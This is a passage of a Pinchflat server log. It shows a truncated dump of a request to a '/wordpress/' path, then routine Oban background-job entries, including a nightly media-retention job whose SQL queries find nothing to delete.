49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "referer" => "http://pinchflat.8layer8.com/wordpress/", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) Firefox/117.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.12965.0>, params: %{}, path_info: ["wordpress"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"referer", "http://pinchflat.8layer8.com/wordpress/"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) Firefox/117.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/wordpre (truncated) 20:28:47.328 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:00.750 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:29:17.329 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:47.330 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.751 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:30:17.332 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:47.333 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.752 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:31:17.335 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:47.336 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:00.753 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:32:17.337 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:47.338 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.754 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:33:17.340 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:47.342 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.755 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:34:17.344 [info] {"source":"oban","duration":848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:47.346 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.756 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:35:17.347 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:47.348 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:00.757 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:36:17.349 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:47.350 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:00.758 [info] {"source":"oban","duration":155,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:37:17.351 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:47.353 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:00.759 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:38:17.355 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:47.356 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.760 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:39:17.357 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:47.358 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:00.761 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:40:17.359 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:43.275 [debug] Tzdata polling for update. 20:40:43.423 [debug] Tzdata polling shows the loaded tz database is up to date. 20:40:47.360 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:00.762 [info] {"source":"oban","duration":369,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:41:17.362 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:47.363 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:00.763 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:42:17.364 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:47.365 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.764 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:43:17.366 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:47.367 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.765 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:44:17.368 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:47.369 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.766 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:45:17.371 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:47.373 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.767 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:46:17.374 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:47.375 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:00.768 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:47:17.376 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:47.377 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.769 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:48:17.378 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:47.380 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:00.770 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:49:17.381 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:47.382 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.771 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:50:17.383 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:47.384 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.772 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:51:17.386 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:47.387 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:00.773 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:52:17.388 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:47.389 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:00.774 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:53:17.390 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:47.392 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.775 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:54:17.394 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:47.396 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:00.776 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:55:17.397 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:47.398 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:00.777 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:56:17.399 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:47.401 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.778 [info] {"source":"oban","duration":114,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:57:17.402 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:47.403 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.779 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:58:17.404 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:47.406 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.780 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:59:17.407 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:47.408 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:00.782 [info] {"source":"oban","duration":1284,"event":"plugin:stop","jobs":[1709],"plugin":"Oban.Plugins.Cron"} 21:00:00.789 [info] {"args":{},"id":1709,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"system_time":1774832400789310011,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","local_data"]} 21:00:00.799 [debug] QUERY OK source="media_items" db=10.3ms idle=99.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND IFNULL(retention_period_days, 0) > 0 AND DATETIME(media_downloaded_at, '+' || retention_period_days || ' day') < DATETIME('now') ) AND NOT (m0."prevent_culling" = 1)) [] 21:00:00.800 [info] Culling 0 media items past their retention date 21:00:00.803 [debug] QUERY OK source="media_items" db=3.2ms idle=110.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND NOT ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND NOT (m0."prevent_culling" = 1)) [] 21:00:00.803 [info] Deleting 0 media items that are from before the source cutoff 21:00:00.803 [info] {"args":{},"id":1709,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","duration":14276,"event":"job:stop","queue_time":788463,"attempt":1,"tags":["media_item","local_data"]} 21:00:17.409 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:47.410 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:00.784 [info] {"source":"oban","duration":287,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:01:17.412 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:47.413 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:00.784 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:02:17.414 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:47.415 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:00.785 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:03:17.416 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:47.417 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:00.786 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:04:17.418 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:47.419 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:00.787 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:05:17.420 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:47.422 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:00.788 [info] {"source":"oban","duration":316,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:06:17.423 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:47.425 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:00.789 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:07:17.426 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:47.427 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:00.790 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:08:17.428 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:47.429 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.791 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:09:17.431 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:47.433 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.792 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:10:17.435 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:47.436 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:00.793 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:11:17.437 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:47.438 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:00.794 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:12:17.439 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:47.440 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:00.796 [info] {"source":"oban","duration":356,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:13:17.442 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:47.444 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:00.796 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:14:17.445 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:47.447 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:00.797 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:15:17.448 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:47.449 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:00.798 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:16:17.450 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:47.451 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.799 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:17:17.453 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:47.454 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:00.800 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:18:17.456 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:47.457 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.801 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:19:17.458 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:47.459 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.802 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:20:17.460 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:47.462 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.803 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:21:17.464 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:47.466 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:00.804 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:22:17.467 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:47.468 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.805 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:23:17.470 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:47.471 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:00.806 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:24:17.472 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:47.473 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:00.807 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:25:17.474 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:47.475 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:00.809 [info] {"source":"oban","duration":416,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:26:17.477 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:47.478 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.809 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:27:17.479 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:47.480 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.810 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:28:17.481 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:47.482 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:00.811 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:29:17.483 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:47.484 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:00.812 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:30:17.486 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:47.488 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:00.813 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:31:17.489 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:47.490 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:00.814 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:32:17.491 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:47.493 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.815 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:33:17.494 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:47.495 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.816 [info] {"source":"oban","duration":291,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:34:17.496 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:47.498 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:00.817 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:35:17.500 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:47.501 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.818 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:36:17.502 [info] 